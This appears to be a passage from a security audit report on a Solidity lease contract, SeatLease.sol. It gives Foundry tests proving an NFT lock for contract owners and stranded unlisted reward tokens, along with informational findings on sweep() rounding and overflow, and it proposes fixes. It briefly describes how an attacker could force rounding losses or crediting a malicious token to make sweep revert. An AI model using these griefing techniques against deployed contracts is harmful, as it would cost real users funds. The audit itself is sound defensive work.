  contract WithdrawLocksNftTest is Test {
      MockSeatNFT nft;
      MockERC20 bond;
      SeatLease lease;
      PlainOwner plainOwner;
      uint256 constant TOKEN_ID = 7;
  
      function setUp() public {
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          plainOwner = new PlainOwner();
          nft.mint(address(plainOwner), TOKEN_ID); // _mint: no receiver hook needed to hold the seat
          vm.warp(1_800_000_000);
      }
  
      function test_contractOwnerWithoutReceiverCanDepositButNeverWithdraw() public {
          plainOwner.run(address(nft), abi.encodeCall(nft.approve, (address(lease), TOKEN_ID)));
          plainOwner.run(
              address(lease),
              abi.encodeCall(
                  lease.deposit,
                  (TOKEN_ID, 5000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), "seat")
              )
          );
          assertEq(nft.ownerOf(TOKEN_ID), address(lease));
  
          // Expected: the vacant seat's owner can take the NFT back. Actual: safeTransferFrom reverts because the
          // owner has no onERC721Received, and there is no other path that moves the NFT.
          (bool ok,) = address(plainOwner).call(
              abi.encodeCall(plainOwner.run, (address(lease), abi.encodeCall(lease.withdraw, (TOKEN_ID))))
          );
          assertTrue(ok, "withdraw reverted for a contract owner without IERC721Receiver: seat locked forever");
          assertEq(nft.ownerOf(TOKEN_ID), address(plainOwner));
      }
  }

  whole proof

• lowclaim() strands any reward token the distributor pays but the owner did not list: held forever, booked to no seatsrc/SeatLease.sol:422

  Seam boundary × invariant. The accounting invariant 'every reward token the registry holds is booked to some seat' (totalCredited[token] == balanceOf(this) for non-bond tokens) is maintained only for tokens that appear in tokens[]; the empty-list and wrong-list edges bypass _book entirely. ETH is measured unconditionally (ethGained), ERC-20s are not, so the two branches of the same function keep different invariants.

  A distributor that pays a token the owner forgot, or pays a second token the owner did not expect (multi-asset distributors, bonus tokens), leaves that balance unattributed. No later call can recover it: credit books only what the caller sends, a second claim listing the token measures a zero delta, sweep reverts ZeroAmount, and there is no rescue function by design. The value is lost to everyone.

  Fix: either refuse the call when the list is empty and require the owner to enumerate, or (better) let the owner re-run booking for a token by measuring balanceOf(this) - totalCredited[token] - (token == bondToken ? bonds held + bondOwed : 0) as the unattributed remainder and booking it to the seat they choose. The bond token needs the extra term because bonds legitimately sit unbooked.

  whole finding

  State: seat 7 deposited; distributor.setReward(lease, 1_000e18 RWD, 0).

  Owner calls claim(7, distributor, claim(), []) — succeeds. reward.balanceOf(lease) == 1_000e18, credited(7, RWD) == 0, totalCredited(RWD) == 0.

  Owner calls claim(7, distributor, claim(), [RWD]) again — distributor pays 0 now, gained == 0, nothing booked. sweep(7, RWD) reverts ZeroAmount.

  Expected: 1_000e18 attributable to seat 7.

  Actual: 1_000e18 held by the registry with no owner and no path out.

  Proof: test/scratch/ClaimUnlistedToken.t.sol fails with 'registry holds reward tokens that are booked to no seat: 0 != 1000000000000000000000'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  import {MockDistributor} from "src/mocks/MockDistributor.sol";
  
  /// @dev claim() books only the tokens listed in `tokens[]`. A reward token the distributor pays but the owner
  ///      did not list arrives in the registry and is never booked; no later call can attribute or move it.
  contract ClaimUnlistedTokenTest is Test {
      MockSeatNFT nft;
      MockERC20 bond;
      MockERC20 reward;
      MockDistributor distributor;
      SeatLease lease;
      address owner = makeAddr("owner");
      uint256 constant TOKEN_ID = 7;
  
      function setUp() public {
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          reward = new MockERC20("Reward", "RWD");
          distributor = new MockDistributor(address(reward));
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          reward.mint(address(distributor), 1_000e18);
          vm.warp(1_800_000_000);
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), "seat");
          vm.stopPrank();
      }
  
      function test_unlistedRewardIsStrandedForever() public {
          distributor.setReward(address(lease), 1_000e18, 0);
          address[] memory none = new address[](0);
          vm.prank(owner);
          lease.claim(TOKEN_ID, address(distributor), abi.encodeCall(distributor.claim, ()), none);
  
          // The token arrived but nothing is booked.
          assertEq(reward.balanceOf(address(lease)), 1_000e18);
          assertEq(lease.credited(TOKEN_ID, address(reward)), 0);
          assertEq(lease.totalCredited(address(reward)), 0);
  
          // A second claim listing the token measures a zero delta and books nothing; sweep has nothing to pay.
          address[] memory listed = new address[](1);
          listed[0] = address(reward);
          vm.prank(owner);
          lease.claim(TOKEN_ID, address(distributor), abi.encodeCall(distributor.claim, ()), listed);
          assertEq(lease.credited(TOKEN_ID, address(reward)), 0);
          vm.expectRevert(SeatLease.ZeroAmount.selector);
          lease.sweep(TOKEN_ID, address(reward));
  
          // Expected: what the claim brought in is attributable to the seat (booked == held for reward tokens).
          // Actual: 1_000e18 RWD is held by the registry with no owner and no path out.
          assertEq(
              lease.totalCredited(address(reward)),
              reward.balanceOf(address(lease)),
              "registry holds reward tokens that are booked to no seat"
          );
      }
  }

  whole proof

• infosweep() rounds the owner share down and gives the remainder to the operator; at small amounts the advertised split invertssrc/SeatLease.sol:442

  Math precision: ownerAmount = amount * ownerBps / 10000 truncates toward zero and the operator receives the truncation.

  With ownerBps = 9999 (owner advertises 99.99%) every sweep of amount < 10000 base units pays the operator 1 unit and the owner amount - 1; at amount = 1 the operator receives 100%. sweep is permissionless, so whoever benefits from the rounding can force a sweep after every small credit, bounding the owner's loss at 1 unit per sweep per token; with 18-decimal tokens that is negligible, with 0- or 2-decimal tokens it is not.

  The existing tests (test_sweep_roundsDustToOperator, test_sweep_oneBpsOnSmallAmountPaysOwnerNothing, test_sweep_oneWeiAtHalfGoesToOperator) pin this direction as intended, so this is recorded as an accepted rounding choice for the docs, not a defect to fix. If the requester prefers the party who sets the terms to receive the dust, compute operatorAmount = amount * (10000 - ownerBps) / 10000 and give the owner the remainder.

  whole finding

  Seat 7 Open with ownerBps 9999, operator present. credit(7, RWD, 1); sweep(7, RWD): ownerAmount = 1 * 9999 / 10000 = 0, operatorAmount = 1.

  Owner expected 0.9999 units, receives 0; operator expected 0.0001, receives 1.

  With amount = 9999: ownerAmount = 9999 * 9999 / 10000 = 9998, operatorAmount = 1 (expected 0.9999).

• infosweep() multiplication amount * ownerBps can overflow for a token with a booked balance above 2^256 / 10000, reverting sweep while an operator is presentsrc/SeatLease.sol:441

  Math precision, overflow intermediate. amount is the full booked balance (uint256) and ownerBps is up to 10000; the product is computed before the division in checked arithmetic. A token whose supply lets a single seat hold more than 2^256 / 10000 ≈ 1.16e73 base units makes sweep revert with an arithmetic panic while the seat has an operator and ownerBps > 0.

  No real ETH or reward token can reach this range, only a malicious ERC-20 credited by anyone (credit is permissionless), and the same seat's sweep of every other token is unaffected; the owner can also cut the operator, after which the vacant branch skips the multiplication and pays everything to the owner. Impact is therefore limited to that worthless token.

  Recorded because the guide asks for every a * b / c to be checked; Math.mulDiv or splitting the amount would remove the case if wanted.

  Seat 7 with operator, ownerBps 10000.

  Attacker deploys EvilToken and credits 2^256/10000 + 1 units to seat 7 (credit measures the balance delta, which the token reports). sweep(7, EvilToken): amount * 10000 > 2^256 - 1 → panic 0x11, revert.

  Expected: sweep pays the split.

  Actual: sweep reverts for that token until the owner cuts the operator.